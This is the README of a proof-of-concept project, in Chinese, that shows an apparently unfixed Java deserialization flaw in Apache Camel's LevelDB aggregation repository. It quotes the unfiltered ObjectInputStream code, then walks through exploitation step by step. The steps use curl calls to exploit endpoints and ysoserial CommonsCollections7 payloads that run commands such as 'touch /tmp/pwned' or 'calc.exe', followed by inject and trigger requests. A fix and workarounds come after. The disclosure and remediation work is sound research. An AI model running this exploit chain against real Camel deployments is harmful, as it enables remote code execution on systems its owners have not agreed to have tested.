本项目演示了 Apache Camel 的 LevelDB 聚合仓库(Aggregation Repository)中存在的 Java 反序列化漏洞,该漏洞类似于 CVE-2024-23114(该漏洞影响了 Cassandra 聚合仓库)。
| 属性 | 值 |
|---|---|
| 组件 | camel-leveldb |
| 受影响类 | DefaultLevelDBSerializer.java |
| 漏洞方法 | deserializeKey()、deserializeExchange() |
| CWE | CWE-502:不可信数据反序列化 |
| 影响 | 远程代码执行 (RCE) |
| 受影响版本 | 所有版本,包括 4.17.0(截至测试时尚未修复) |
DefaultLevelDBSerializer 类直接使用原始 ObjectInputStream,未进行任何过滤:
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
相比之下,已修复的 Cassandra 实现(自 Camel 4.4.0 起)如下:
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
预期输出:
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
下载 ysoserial 并生成有效载荷:
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
预期输出:
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
这将遍历所有键并调用 repo.get(),从而触发反序列化!
# Check if the command was executed
ls -la /tmp/pwned
如果文件 /tmp/pwned 存在,则说明漏洞利用成功!
该漏洞可通过多种途径触发:
get() 调用都会触发反序列化要成功利用漏洞,需要满足以下条件:
LevelDB 写入权限:攻击者必须能够写入 LevelDB 数据库文件
Classpath 中存在 Gadget 库:必须存在包含可利用 gadget 链的库
commons-collections:3.2.1(CommonsCollections1-7 gadgets)org.springframework:spring-core(Spring gadgets)采用与 Cassandra 相同的修复方式:
ClassLoadingAwareObjectInputStream 代替原始 ObjectInputStreamObjectInputFilter,并设置安全的默认值"java.**;org.apache.camel.**;!*"DefaultLevelDBSerializer.java 的修复示例:
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
在官方发布修复之前,建议采取以下措施:
JacksonLevelDBSerializer 代替 DefaultLevelDBSerializerpotential-leveldb/
├── pom.xml # Maven configuration with vulnerable deps
├── README.md # This file
└── src/main/java/com/example/
├── Application.java # Spring Boot entry point
├── LevelDBRoute.java # Camel route using LevelDB aggregation
├── StringAggregationStrategy.java
└── ExploitController.java # REST endpoints for exploitation
本复现工具仅供 安全研究与授权测试 使用。未经明确许可,请勿将其用于任何系统。
| 方面 | Cassandra(CVE-2024-23114) | LevelDB(本问题) |
|---|
| 状态 | 已在 4.4.0 中修复 | 在 4.17.0 中未修复 |
| ObjectInputStream | 使用 ClassLoadingAwareObjectInputStream | 使用原始 ObjectInputStream |
| 反序列化过滤器 | "java.**;org.apache.camel.**;!*" | 无 |
| JIRA | CAMEL-20306 | 尚未提交 |